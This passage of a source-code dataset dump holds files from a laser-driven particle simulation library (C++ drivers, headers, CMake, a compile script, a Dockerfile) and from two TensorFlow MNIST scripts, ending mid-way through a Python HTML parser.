// Convert everything to electronic units (get everything from vm, except lam)\n lam /= electron_units.UNIT_LENGTH;\n\n double energy = config->energy_ / electron_units.UNIT_ENERGY ;\n double w0 = config->w0_ * lam;\n double L = config->L_ * lam;\n double mass = config->mass_;\n double Q = config->Q_;\n double t_init = config->t_init_ / electron_units.UNIT_TIME ;\n double dt = config->dt_ / electron_units.UNIT_TIME ;\n unsigned int nsteps = config->nsteps_;\n double threshold = sqrt(1.0e-04 * config->threshold_ / electron_units.UNIT_E_INTENSITY );\n\n // We verify that the normalization constant was calculated for the same\n // (lambda,w0,L) tuple.\n std::ifstream norm_constant_file;\n norm_constant_file.open(\"normalization_constant.txt\");\n if(!norm_constant_file.is_open())\n {\n std::cout\n << \"normalization_constant.txt must be in the same directory... Exiting.\"\n << std::endl;\n return 0;\n }\n\n std::string line;\n std::getline(norm_constant_file, line);\n std::getline(norm_constant_file, line);\n std::istringstream iss(line);\n double lambda_file,w0_file,L_file,norm_constant;\n iss >> lambda_file >> w0_file >> L_file >> norm_constant;\n\n if (\n relative_difference(config->lam_, lambda_file) > 1.0e-5\n || relative_difference(config->w0_, w0_file) > 1.0e-5\n || relative_difference(config->L_, L_file) > 1.0e-5)\n {\n throw std::runtime_error(\"Wrong value of the normalization constant.\");\n }\n\n // Create field object\n mellotron::SalaminTightlyFocusedLinear field(lam,w0,L,norm_constant,energy);\n mellotron::ParticleIonized<mellotron::SalaminTightlyFocusedLinear> particle(Q,mass,field,electron_units,threshold);\n mellotron::ParticleObserverIonized<mellotron::SalaminTightlyFocusedLinear> particle_obs(particle);\n\n // Define the initial conditions.\n arma::colvec::fixed<8> x = arma::zeros<arma::colvec>(8);\n double x_init = init_conds[0]; // Initial position\n double y_init = init_conds[1];\n double z_init = init_conds[2];\n\n double px_init = init_conds[3]; // Initial momentum\n double py_init = init_conds[4];\n double pz_init = init_conds[5];\n\n\n // Times at which we output the data.\n arma::colvec times = arma::linspace<arma::colvec>(t_init,t_init+nsteps*dt,nsteps); // Time vector\n\n // Set the initial conditions.\n particle.SetInitConditions(x,x_init,y_init,z_init,px_init,py_init,pz_init,times[0]);\n\n // Perform integration\n size_t steps = odeint::integrate_times(\n odeint::make_dense_output(1.0e-6,1.0e-6, odeint::runge_kutta_dopri5<arma::colvec::fixed<8> >() ),\n std::ref(particle),\n x,\n boost::begin(times),\n boost::end(times),\n 0.1,\n std::ref(particle_obs)\n );\n\n particle_obs.OutputData();\n\n\n delete config;\n return 0;\n\n}\n" }, { "alpha_fraction": 0.34411561489105225, "alphanum_fraction": 0.35650378465652466, "avg_line_length": 38.27027130126953, "blob_id": "8a16cb3fbe29b3d1789672d813abdf238471a578", "content_id": "f0c2cbbbdb0c3d6a224bf24412b214f25feb5104", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1453, "license_type": "no_license", "max_line_length": 79, "num_lines": 37, "path": "/tests/compile_test.sh", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# --------------------------------------------------------------------------- #\n# \\file compile_test.sh #\n# \\author Joey Dumont <[email protected]> #\n# \\since 2015-10-19 #\n# #\n# This bash file compiles a given unit test of the MELLOTRON. #\n# #\n# Usage: compile_test.sh <test-to-compile> #\n# --------------------------------------------------------------------------- #\n\n# -- We first check that the script is given only a single argument.\nif [[ $# -ne 1 ]]; then\n echo \"Usage: compile_test.sh [-s] <test-to-compile>.\"\n exit 1\nfi\n\n# -- We check if the test exists.\nif [ ! -f $1 ]; then\n echo \"This test does not exist.\"\n exit 1\nfi\n\n# -- We prepare the compilation of the test.\nfilename=`basename $1`\nfilenameNoExt=\"${filename%.*}\"\n\n# -- We compile the test.\nCXX_FLAGS=\"-Wall -std=c++14 -O1 -pg -g\"\nmpic++ ${CXX_FLAGS} \\\n -DNDEBUG \\\n -I ../include \\\n -o ${filenameNoExt} \\\n ${filename} \\\n -lhdf5 -lgtest -lCubature -lcuba -larmadillo -lMeshPI -lStrattoCalculator\nexit 0\n" }, { "alpha_fraction": 0.5604785084724426, "alphanum_fraction": 0.5742135643959045, "avg_line_length": 50.318180084228516, "blob_id": "71987a8df5d817b4f933c7a41760366b8ef486f2", "content_id": "9358680934f6359240044b38c59f5fd8c97d598e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2257, "license_type": "no_license", "max_line_length": 181, "num_lines": 44, "path": "/include/mellotron_bits/common/PhysicalConstants.hpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "#ifndef PHYSICAL_CONSTANTS_HPP\n#define PHYSICAL_CONSTANTS_HPP\n\n#include <boost/math/constants/constants.hpp>\n#include <boost/units/systems/si/codata/universal_constants.hpp>\n#include <boost/units/systems/si/codata/electron_constants.hpp>\n#include <boost/units/systems/si/codata/electromagnetic_constants.hpp>\n#include <boost/units/systems/si/codata/atomic-nuclear_constants.hpp>\n\nnamespace mellotron {\n\n/*!\n * \\file PhysicalConstants.hpp\n * \\author Joey Dumont <[email protected]>\n * \\since 2016-12-08\n * \\brief Easy access to useful mathematical/physical constants.\n */\n\nnamespace constants {\n\nnamespace math {\n\n const double pi = boost::math::constants::pi<double>(); ///< The circle constant.\n\n} // namespace math\n\nnamespace physics {\n\n const double electron_mass = boost::units::si::constants::codata::m_e / boost::units::si::kilogram; ///< Electron rest mass in kg.\n const double electron_charge = boost::units::si::constants::codata::e / boost::units::si::coulomb; ///< Elementary charge in C.\n const double c = boost::units::si::constants::codata::c / boost::units::si::meter * boost::units::si::second; ///< Speed of light in m/s.\n const double epsilon_0 = boost::units::si::constants::codata::epsilon_0 / boost::units::si::farad * boost::units::si::meter; ///< Vacuum permittivity in F/m.\n const double hbar = boost::units::si::constants::codata::hbar / boost::units::si::joule / boost::units::si::second; ///< hbar.\n const double alpha = boost::units::si::constants::codata::alpha / boost::units::si::dimensionless(); ///< Fine structure constant.\n const double UNIT_TIME_QED = 1.28808867e-21; ///< Unit time in QED units, hbar/(m_e*c^2).\n const double UNIT_TIME_EV = 6.582119e-16; ///< Unit time in eV units.\n\n} // namespace physics\n\n} // namespace constants\n\n} // namespace mellotron\n\n#endif // PHYSICAL_CONSTANTS_HPP" }, { "alpha_fraction": 0.6696053147315979, "alphanum_fraction": 0.6734121441841125, "avg_line_length": 42.78070068359375, "blob_id": "a385f54ab642225a72feb0384b85f841615e774f", "content_id": "3b82c82146cd70613fdd1a2de93f7e7ead813b16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 9982, "license_type": "no_license", "max_line_length": 169, "num_lines": 228, "path": "/CMakeLists.txt", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# --------------------------------------------------------------------------- #\n# Author: Denis Gagnon <[email protected]> #\n# Joey Dumont <[email protected]> #\n# Date created: 2017-06-13 #\n# Description: CMake compilation instructions for MELLOTRON #\n# ----------------------------------------------------------------------------#\n\n# ----------------------------------------------------------------- #\n# -- Name and version of library -- #\n# ----------------------------------------------------------------- #\nproject(mellotron)\nset (mellotron_VERSION_MAJOR 1)\nset (mellotron_VERSION_MINOR 2)\nset (mellotron_VERSION_RELEASE 0)\n\n# ----------------------------------------------------------------- #\n# -- Configuration and Dependencies -- #\n# ----------------------------------------------------------------- #\n# -- CMake version and installation directory.\n# CMake version\ncmake_minimum_required(VERSION 3.1)\n\nif (CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT)\n set (CMAKE_INSTALL_PREFIX /usr)\nendif()\nLIST (APPEND CMAKE_MODULE_PATH \"${CMAKE_SOURCE_DIR}/cmake/Modules\")\nMESSAGE( STATUS \"CMAKE_MODULE_PATH: \" ${CMAKE_MODULE_PATH})\n\n# -- Required dependency: HDF5.\nfind_package(HDF5 REQUIRED)\ninclude_directories(${HDF5_INCLUDE_DIRS})\nset (LIBS ${LIBS} ${HDF5_LIBRARIES})\n\n# -- Required dependency: Armadillo\nfind_package(armadillo REQUIRED)\ninclude_directories(${armadillo_INCLUDE_DIRS})\nset(LIBS ${LIBS} ${armadillo_LIBRARIES})\n\n# -- Required dependency: Boost.\nfind_package(Boost 1.60.0 COMPONENTS program_options REQUIRED)\ninclude_directories(${Boost_INCLUDE_DIRS})\nSET (LIBS ${LIBS} ${Boost_LIBRARIES} )\n\n# -- Required dependency: GSL.\nfind_package(GSL REQUIRED)\ninclude_directories(${GSL_INCLUDE_DIRS})\nset(LIBS ${LIBS} ${GSL_LIBRARIES})\n\n# -------- Dependencies needed by the StrattoCalculator-based drivers -------- #\n\n# -- Required dependency: MeshPI.\nfind_package(MeshPI)\nset (MESHPILIBS ${meshpi_LIBRARY})\nmessage(STATUS \"MeshPI library: \" ${meshpi_LIBRARIES})\n\n# -- Required dependency: StrattoCalculator.\nfind_package(StrattoCalculator)\nset (STRATTOLIBS ${strattocalculator_LIBRARIES})\nmessage(STATUS \"StrattoCalculator library: \" ${STRATTOLIBS})\n\n# -- Required dependency: Zernike.\nfind_package(Zernike)\nset (ZERNIKELIBS ${Zernike_LIBRARY})\nmessage(STATUS \"Zernike library: \" ${ZERNIKELIBS})\n\n# -- Required dependency: MPI\nfind_package(MPI)\n\nset (BUILD_STRATTO_DRIVERS False)\nif ( (${meshpi_FOUND} STREQUAL \"TRUE\") AND (${strattocalculator_FOUND} STREQUAL \"TRUE\") AND (${Zernike_FOUND} STREQUAL \"TRUE\") AND ( ${MPI_CXX_FOUND} STREQUAL \"TRUE\") )\n message(STATUS \"Found the StrattoCalculator deps: building the related drivers.\")\n include_directories(${MPI_CXX_INCLUDE_DIRS})\n include_directories(${meshpi_INCLUDE_DIR})\n include_directories(${strattocalculator_INCLUDE_DIR})\n include_directories(${Zernike_INCLUDE_DIR})\n set(LIBS ${LIBS} ${MPI_CXX_LIBRARIES})\n set(BUILD_STRATTO_DRIVERS True)\n set(STRATTODEPS ${MESHPILIBS} ${STRATTOLIBS} ${ZERNIKELIBS} ${MPILIBS})\nendif()\n\n# -------------------------- In-tree dependencies --------------------------- #\n# -- Required dependency: Cubature.\nadd_subdirectory (${CMAKE_SOURCE_DIR}/external/Cubature/)\ninclude_directories (${CMAKE_SOURCE_DIR}/external/Cubature/include)\n\n# -- Required dependency: cuba (MUST be in submodules, i.e. external/Cuba)\ninclude(ExternalProject)\nExternalProject_Add(\n project_Cuba\n SOURCE_DIR ${CMAKE_SOURCE_DIR}/external/Cuba\n CONFIGURE_COMMAND ${CMAKE_SOURCE_DIR}/external/Cuba/configure --prefix=${CMAKE_SOURCE_DIR}/external/Cuba\n PREFIX ${CMAKE_SOURCE_DIR}/external/Cuba\n BUILD_COMMAND make\n BUILD_IN_SOURCE 1\n)\n\nExternalProject_Get_Property(project_Cuba install_dir)\nadd_library(Cuba STATIC IMPORTED)\nset_property(TARGET Cuba PROPERTY IMPORTED_LOCATION ${install_dir}/libcuba.a)\nadd_dependencies(Cuba project_Cuba)\n\nset (cuba_dir ${install_dir})\ninclude_directories(${cuba_dir})\n\n# ----------------------------------------------------------------- #\n# -- Compiler Configuration -- #\n# ----------------------------------------------------------------- #\n# -- Default build type\nif(NOT CMAKE_BUILD_TYPE)\n set(CMAKE_BUILD_TYPE Release)\nendif(NOT CMAKE_BUILD_TYPE)\n\n# -- Macro definitions\nif (CMAKE_BUILD_TYPE MATCHES RELEASE)\n # -- Remove bounds checking for performance.\n add_definitions(-DBOOST_DISABLE_ASSERTS)\n add_definitions(-DARMA_NO_DEBUG)\n\n # -- Tell GSL that the compiler supports inlining.\n add_definitions(-DHAVE_INLINE)\nendif()\n\n# C++14 Standard required\nset(CMAKE_CXX_STANDARD 14)\nset(CMAKE_CXX_STANDARD_REQUIRED ON)\nset(CMAKE_CXX_EXTENSIONS OFF)\n\n# Configuration for the GCC compiler.\nif (${CMAKE_CXX_COMPILER_ID} STREQUAL \"GNU\")\n set (CMAKE_CXX_FLAGS_RELEASE \"${CMAKE_CXX_FLAGS_RELEASE} -O3\")\n set (CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -O3\")\n\n set (CMAKE_CXX_FLAGS_DEBUG \"${CMAKE_CXX_FLAGS_DEBUG} -O0 -pg -g -Wall -DNDEBUG\")\n set (CMAKE_C_FLAGS_DEBUG \"${CMAKE_C_FLAGS_DEBUG} -O0 -pg -g -Wall -DNDEBUG\")\n\n set (CMAKE_C_FLAGS_RELWITHDEBINFO \"${CMAKE_C_FLAGS_RELWITHDEBINFO} -Wall -pg -O3 -DNDEBUG\")\n set (CMAKE_CXX_FLAGS_RELWITHDEBINFO \"${CMAKE_CXX_FLAGS_RELWITHDEBINFO} -Wall -pg -O3 -DNDEBUG\")\n\n# Configuration for the Intel compiler.\nelseif (${CMAKE_CXX_COMPILER_ID} STREQUAL \"Intel\")\n set (CMAKE_CXX_FLAGS_RELEASE \"${CMAKE_CXX_FLAGS_RELEASE} -O3\")\n set (CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -O3\")\n\n set (CMAKE_CXX_FLAGS_DEBUG \"${CMAKE_CXX_FLAGS_DEBUG} -O0 -g -debug all\")\n set (CMAKE_C_FLAGS_DEBUG \"${CMAKE_C_FLAGS_DEBUG} -O0 -g -debug all\")\n\n set (CMAKE_C_FLAGS_RELWITHDEBINFO \"${CMAKE_C_FLAGS_RELWITHDEBINFO} -O3 -g -debug all\")\n set (CMAKE_CXX_FLAGS_RELWITHDEBINFO \"${CMAKE_CXX_FLAGS_RELWITHDEBINFO} -O3 -g -debug all\")\nendif()\n\n# ----------------------------------------------------------------- #\n# -- Compilation Instructions -- #\n# ----------------------------------------------------------------- #\n# -- Included files\ninclude_directories (${CMAKE_SOURCE_DIR}/include)\n\n# -- Install mellotron headers\ninstall (DIRECTORY include/ DESTINATION include)\n\n# -- Output binaries in directory\nset (CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/simulations)\n\n# -- Mellotron tests\ninclude(CTest)\nadd_subdirectory(tests)\n\n# -- Rules for every target\nadd_executable(\"IntegrationSalamin\" \"simulations/IntegrationSalamin.cpp\")\ntarget_link_libraries(\"IntegrationSalamin\" ${LIBS})\ntarget_link_libraries(\"IntegrationSalamin\" Cubature)\ntarget_link_libraries(\"IntegrationSalamin\" Cuba)\ninstall(TARGETS \"IntegrationSalamin\" RUNTIME DESTINATION bin)\n\nadd_executable(\"IntegrationSalaminIonized\" \"simulations/IntegrationSalaminIonized.cpp\")\ntarget_link_libraries(\"IntegrationSalaminIonized\" ${LIBS})\ntarget_link_libraries(\"IntegrationSalaminIonized\" Cubature)\ntarget_link_libraries(\"IntegrationSalaminIonized\" Cuba)\ninstall(TARGETS \"IntegrationSalaminIonized\" RUNTIME DESTINATION bin)\n\nadd_executable(\"ComputeNormalizationConstantSalaminLinear\" \"simulations/ComputeNormalizationConstantSalaminLinear.cpp\")\ntarget_link_libraries(\"ComputeNormalizationConstantSalaminLinear\" ${LIBS})\ntarget_link_libraries(\"ComputeNormalizationConstantSalaminLinear\" Cubature)\ntarget_link_libraries(\"ComputeNormalizationConstantSalaminLinear\" Cuba)\ninstall(TARGETS \"ComputeNormalizationConstantSalaminLinear\" RUNTIME DESTINATION bin)\n\nif (BUILD_STRATTO_DRIVERS)\n\n add_executable(\"IntegrationStrattoLinear\" \"simulations/IntegrationStrattoLinear.cpp\")\n target_link_libraries(\"IntegrationStrattoLinear\" ${LIBS} ${STRATTODEPS})\n install(TARGETS \"IntegrationStrattoLinear\" RUNTIME DESTINATION bin)\n\n add_executable(\"IntegrationStrattoLinearSG\" \"simulations/IntegrationStrattoLinearSG.cpp\")\n target_link_libraries(\"IntegrationStrattoLinearSG\" ${LIBS} ${STRATTODEPS})\n install(TARGETS \"IntegrationStrattoLinearSG\" RUNTIME DESTINATION bin)\n\n add_executable(\"IntegrationStrattoLinearSGZernike\" \"simulations/IntegrationStrattoLinearSGZernike.cpp\")\n target_link_libraries(\"IntegrationStrattoLinearSGZernike\" ${LIBS} ${STRATTODEPS})\n install(TARGETS \"IntegrationStrattoLinearSGZernike\" RUNTIME DESTINATION bin)\n\n add_executable(\"IntegrationStrattoLinearZernike\" \"simulations/IntegrationStrattoLinearZernike.cpp\")\n target_link_libraries(\"IntegrationStrattoLinearZernike\" ${LIBS} ${STRATTODEPS})\n install(TARGETS \"IntegrationStrattoLinearZernike\" RUNTIME DESTINATION bin)\n\n add_executable(\"IntegrationStrattoMosaic\" \"simulations/IntegrationStrattoMosaic.cpp\")\n target_link_libraries(\"IntegrationStrattoMosaic\" ${LIBS} ${STRATTODEPS})\n install(TARGETS \"IntegrationStrattoMosaic\" RUNTIME DESTINATION bin)\n\n add_executable(\"IntegrationStrattoMosaicSG\" \"simulations/IntegrationStrattoMosaicSG.cpp\")\n target_link_libraries(\"IntegrationStrattoMosaicSG\" ${LIBS} ${STRATTODEPS})\n install(TARGETS \"IntegrationStrattoMosaicSG\" RUNTIME DESTINATION bin)\n\n add_executable(\"IntegrationStrattoMosaicSGZernike\" \"simulations/IntegrationStrattoMosaicSGZernike.cpp\")\n target_link_libraries(\"IntegrationStrattoMosaicSGZernike\" ${LIBS} ${STRATTODEPS})\n install(TARGETS \"IntegrationStrattoMosaicSGZernike\" RUNTIME DESTINATION bin)\n\n add_executable(\"IntegrationStrattoRadial\" \"simulations/IntegrationStrattoRadial.cpp\")\n target_link_libraries(\"IntegrationStrattoRadial\" ${LIBS} ${STRATTODEPS})\n install(TARGETS \"IntegrationStrattoRadial\" RUNTIME DESTINATION bin)\n\nendif()\n\n# ----------------------------------------------------------------- #\n# -- modulefile template -- #\n# ----------------------------------------------------------------- #\n\n# -- Configure module file for CC clusters.\nconfigure_file(module_templates/cc_module_template.in\n modules/${mellotron_VERSION_MAJOR}.${mellotron_VERSION_MINOR}.${mellotron_VERSION_RELEASE})\n" }, { "alpha_fraction": 0.7761780023574829, "alphanum_fraction": 0.7774869203567505, "avg_line_length": 33.727272033691406, "blob_id": "ea80b956e588a718464f348c056ced3d62c2175b", "content_id": "bd99cacb8d00b31b95deccb88a06248f5b7d5ab3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 764, "license_type": "no_license", "max_line_length": 104, "num_lines": 22, "path": "/Dockerfile", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "FROM ubuntu:bionic\n\nMAINTAINER joeydumont \"https://github.com/joeydumont\"\n\n# Install packages for building ruby\nRUN apt-get update\nRUN apt-get install -y --force-yes apt-utils build-essential wget git cmake clang ninja-build curl\nRUN apt-get install -y --force-yes libhdf5-dev libboost-all-dev libgsl-dev libarmadillo-dev libgtest-dev\nRUN apt-get clean\n\n# Compile gtest as a shared library.\nWORKDIR \"/usr/src/googletest\"\nWORKDIR \"build\"\nRUN cmake -G Ninja .. -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_INSTALL_LIBDIR=lib -DBUILD_SHARED_LIBS=ON\nRUN cmake --build .\nRUN cmake --build . --target install\n\n\n# Clone the repo.\nRUN git clone https://github.com/joeydumont/mellotron joeydumont/mellotron\nWORKDIR \"joeydumont/mellotron\"\nRUN git submodule update --init --recursive\n" }, { "alpha_fraction": 0.6323114633560181, "alphanum_fraction": 0.6370683312416077, "avg_line_length": 45.52458953857422, "blob_id": "e81cfc5238157e1c61c157c4a99b505663ab6434", "content_id": "7793acb708a6c3be78096a14d4e64c1b898c780e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5676, "license_type": "no_license", "max_line_length": 160, "num_lines": 122, "path": "/include/mellotron_bits/driver/Particle_bones.hpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "#ifndef PARTICLE_BONES_HPP\n#define PARTICLE_BONES_HPP\n\n#include <armadillo>\n#include <cmath>\n\nnamespace mellotron {\n\n/// enum to choose the radiation reaction model.\nenum RadiationReactionModel {NoRR, LandauLifshitz, LandauLifshitzQuantumCorrection};\n\n/*!\n * \\class Particle\n * \\author Joey Dumont <[email protected]>\n * \\since 2016-09-30\n * \\brief Defines the Lorentz force equation acting on a particle with given\n * properties.\n *\n * This class defines the properties of a charged particle. We also define\n * its equation of motion, i.e. the Lorentz equation plus, possibly, radiation\n * reaction terms.\n */\ntemplate <class FieldModel>\nclass Particle\n{\npublic:\n\n /// Constructor sets the physical properties of the particle.\n /// RR makes it so the unit system must be passed to the Particle.\n Particle(const double my_charge,\n const double my_mass,\n FieldModel & my_field_model,\n MellotronUnits & my_units,\n const RadiationReactionModel my_radiation_reaction = NoRR);\n\n /// Computation of the field tensor at a given point in space-time.\n void ComputeFieldTensor(const double t, const double x, const double y, const double z);\n\n // Accessor functions of the electromagnetic fields.\n arma::colvec::fixed<3> GetElectricField(){return electric_field;} ///< Returns the stored electric field.\n arma::colvec::fixed<3> GetMagneticField(){return magnetic_field;} ///< Returns the stored magnetic field.\n\n // Accessor functions of the particle parameters.\n double GetCharge(){return charge;} ///< Returns the charge of the particle.\n double GetMass(){return mass;} ///< Returns the mass of the particle.\n double GetChi(){return chi;} ///< Returns the dynamical quantum parameter of the particle.\n\n /// Accessor function of the unit system.\n MellotronUnits & GetUnitSystem(){return unit_system;}\n\n // Utility function to set the initial conditions.\n void SetInitConditions(arma::colvec::fixed<8>& x, double x_init, double y_init, double z_init, double px_init, double py_init, double pz_init, double t_init);\n\n /// Overloading of the () operator for use with Boost.odeint.\n void operator()(const arma::colvec::fixed<8>& x, arma::colvec::fixed<8> &dxdt, const double t);\n\n /// Function that computes the Lorentz force.\n void ComputeLorentzForce(const arma::colvec::fixed<8> & x, arma::colvec::fixed<8> & dxdt, const double t);\n\nprotected:\n\n const double charge; ///< Charge of the particle, multiple of the elementary charge.\n const double mass; ///< Mass of the particle, multiple of the electron mass.\n\n FieldModel & field_model; ///< Object that contains a ComputeFieldComponents routine.\n\n arma::colvec::fixed<3> electric_field; ///< Electric field at a given point in spacetime.\n arma::colvec::fixed<3> magnetic_field; ///< Magnetic field at a given point in spacetime.\n\n\n MellotronUnits & unit_system; ///< Contains information about the unit system used. Useful for RR.\n const RadiationReactionModel radiation_reaction; ///< Determines the model of radiation reaction we employ, if at all.\n\n double chi_sq; ///< Lorentz invariant along the trajectory, squared.\n double chi; ///< Lorentz invariant along the trajectory.\n};\n\n/*!\n * \\class ParticleIonized\n * \\author Joey Dumont <[email protected]>\n * \\since 2017-06-20\n * \\brief Defines the Lorentz force equation acting on a particle with given\n * properties. Includes a field threshold below which to Lorentz force\n * is applied.\n *\n * This class defines the properties of a charged particle. We also define\n * its equation of motion, i.e. the Lorentz equation plus, possibly, radiation\n * reaction terms. A field threshold below which the Lorentz force is assumed\n * is vanish is also implemented. This simulates, in some approximate way,\n * the ionization process.\n */\ntemplate <class FieldModel>\nclass ParticleIonized : public Particle<FieldModel>\n{\npublic:\n\n /// Constructor sets the physical properties of the particle.\n /// It also sets the field threshold above which we apply the Lorentz force.\n /// To have no threshold, use Particle, of a negative value of field_threshold.\n /// RR makes it so the unit system must be passed to the Particle.\n ParticleIonized(const double my_charge,\n const double my_mass,\n FieldModel & my_field_model,\n MellotronUnits & my_units,\n double my_field_threshold,\n const RadiationReactionModel my_radiation_reaction = NoRR);\n\n /// Accessor function to check whether the particle has been \"ionized\".\n bool GetIonized(){return ApplyLorentzForce;}\n\n /// Overloading of the () operator for use with Boost.odeint.\n void operator()(const arma::colvec::fixed<8>& x, arma::colvec::fixed<8> &dxdt, const double t);\n\nprotected:\n double field_threshold; ///< Field strength above which we apply the Lorentz force.\n bool ApplyLorentzForce; ///< Flag to determine if the particle has been ionized yet, and to apply the Lorentz force if so.\n\n};\n\n} // namespace mellotron\n\n#endif // PARTICLE_BONES_HPP\n" } ]
40
WaitingLin/MNIST
https://github.com/WaitingLin/MNIST
a80f9cb7796ab2c7af9351ee66b57852239c3a27
746278fdba633b3a2604a6fa7b6f723bdd857709
cf64f284535ab5e085a8daf8f40c634a89c4de87
refs/heads/master
2021-08-19T00:07:19.406121
2017-11-24T08:40:55
2017-11-24T08:40:55
111,895,206
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6587057113647461, "alphanum_fraction": 0.7064715027809143, "avg_line_length": 32.28205108642578, "blob_id": "3dca6bf08ff12f679ff5d40a47ade4b5cbb6f72c", "content_id": "15593ac74b3a4ecf390c91e8eacf0333f146fda5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1298, "license_type": "no_license", "max_line_length": 92, "num_lines": 39, "path": "/mnist_train.py", "repo_name": "WaitingLin/MNIST", "src_encoding": "UTF-8", "text": "from tensorflow.examples.tutorials.mnist import input_data\nimport tensorflow as tf\n\n# 55,000 training data\n# 10,000 testing data\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n\n# Create the model\nx = tf.placeholder(tf.float32, shape=[None, 784])\nW1 = tf.Variable(tf.random_normal([784, 100], stddev=0.1))\nb1 = tf.Variable(tf.zeros([100]))\nW2 = tf.Variable(tf.random_normal([100, 10], stddev=0.1))\nb2 = tf.Variable(tf.zeros([10]))\ny = tf.matmul(x, W1) + b1\ny = tf.nn.relu(y)\ny = tf.matmul(y, W2) + b2\ny_ = tf.placeholder(tf.float32, shape=[None, 10])\n\ncross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y))\ntrain_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\n\nsess = tf.InteractiveSession()\ntf.global_variables_initializer().run()\n\n# Training\nfor _ in range(1000):\n batch = mnist.train.next_batch(100)\n train_step.run(feed_dict={x: batch[0], y_:batch[1]})\n\n# Save model\nsaver = tf.train.Saver()\nsave_path = saver.save(sess, \"model.ckpt\")\nprint(\"Model saved in file: %s\" % save_path)\n\n# Testing\ncorrect_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\nprint(\"accuracy: \",accuracy.eval(feed_dict={x: mnist.test.images, y_:mnist.test.labels}))\n" }, { "alpha_fraction": 0.6466729044914246, "alphanum_fraction": 0.6888472437858582, "avg_line_length": 27.83783721923828, "blob_id": "5c48fe80d05ec6dcffc3e9e5f9a5ad2e0dfd3675", "content_id": "c45bdbd4e1eb788a79e66f7810613b1e538d2af9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1067, "license_type": "no_license", "max_line_length": 89, "num_lines": 37, "path": "/mnist_test.py", "repo_name": "WaitingLin/MNIST", "src_encoding": "UTF-8", "text": "from tensorflow.examples.tutorials.mnist import input_data\nimport tensorflow as tf\nimport numpy as np\n\ndef error(x):\n return np.sinh(x) \n\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n# Create the model\nx = tf.placeholder(tf.float32, shape=[None, 784])\nW1 = tf.Variable(tf.random_normal([784, 100], stddev=0.1))\nb1 = tf.Variable(tf.zeros([100]))\nW2 = tf.Variable(tf.random_normal([100, 10], stddev=0.1))\nb2 = tf.Variable(tf.zeros([10]))\ny = tf.matmul(x, W1)\n#y = tf.py_func(error, [y], tf.float32) # py_fun\ny = y + b1\ny = tf.nn.relu(y)\n\ny = tf.matmul(y, W2)\n#y = tf.py_func(error, [y], tf.float32)\ny = y + b2\n\ny_ = tf.placeholder(tf.float32, shape=[None, 10])\n\nsess = tf.InteractiveSession()\ntf.global_variables_initializer().run()\n\n# Restore Model\nsaver = tf.train.Saver()\nsaver.restore(sess, \"./model/model.ckpt\")\n\n# Testing\ncorrect_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\nprint(\"accuracy: \",accuracy.eval(feed_dict={x: mnist.test.images, y_:mnist.test.labels}))\n" }, { "alpha_fraction": 0.7916666865348816, "alphanum_fraction": 0.7916666865348816, "avg_line_length": 11, "blob_id": "9605d76bdd68c327a2ad57d80727b7a03ecc7744", "content_id": "e2850eb0e78b234c17fe3388b777ef5e7dc31151", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 24, "license_type": "no_license", "max_line_length": 15, "num_lines": 2, "path": "/README.md", "repo_name": "WaitingLin/MNIST", "src_encoding": "UTF-8", "text": "# MNIST\nFully connected\n" } ]
3
yhfudev/vs4p
https://github.com/yhfudev/vs4p
a91877c10741b2c3ae1d8c244b7a3c3e89327c89
0e2fda2a4458a6c85d64928322b758c1db5cc4d1
32faf3896733731c98fe7096e9b2f9b647d917f5
refs/heads/master
2021-01-10T01:06:15.815797
2008-12-17T21:10:07
2008-12-17T21:10:07
44,403,549
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5487922430038452, "alphanum_fraction": 0.5579710006713867, "avg_line_length": 26.600000381469727, "blob_id": "efa65773030a083b2f749f3732ca4a9d656045cd", "content_id": "94a7c5120e7332159cc8092cc5a3594706dfdbbd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2070, "license_type": "no_license", "max_line_length": 102, "num_lines": 75, "path": "/tools/make-tvdirs.py", "repo_name": "yhfudev/vs4p", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport sgmllib\nimport sys\nimport urllib\nimport os\n\nclass MyParser(sgmllib.SGMLParser):\n \"A simple parser class.\"\n\n def parse(self, s):\n \"Parse the given string 's'.\"\n self.feed(s)\n self.close()\n\n def __init__(self, verbose=0):\n \"Initialise an object, passing 'verbose' to the superclass.\"\n\n sgmllib.SGMLParser.__init__(self, verbose)\n self.inRightTag = 0\n self.episodeData = []\n\n def start_a(self, attributes):\n \"Process a tags and its 'attributes'.\"\n\n if attributes[0][0] == \"class\" and attributes[0][1] == \"wlink\" and 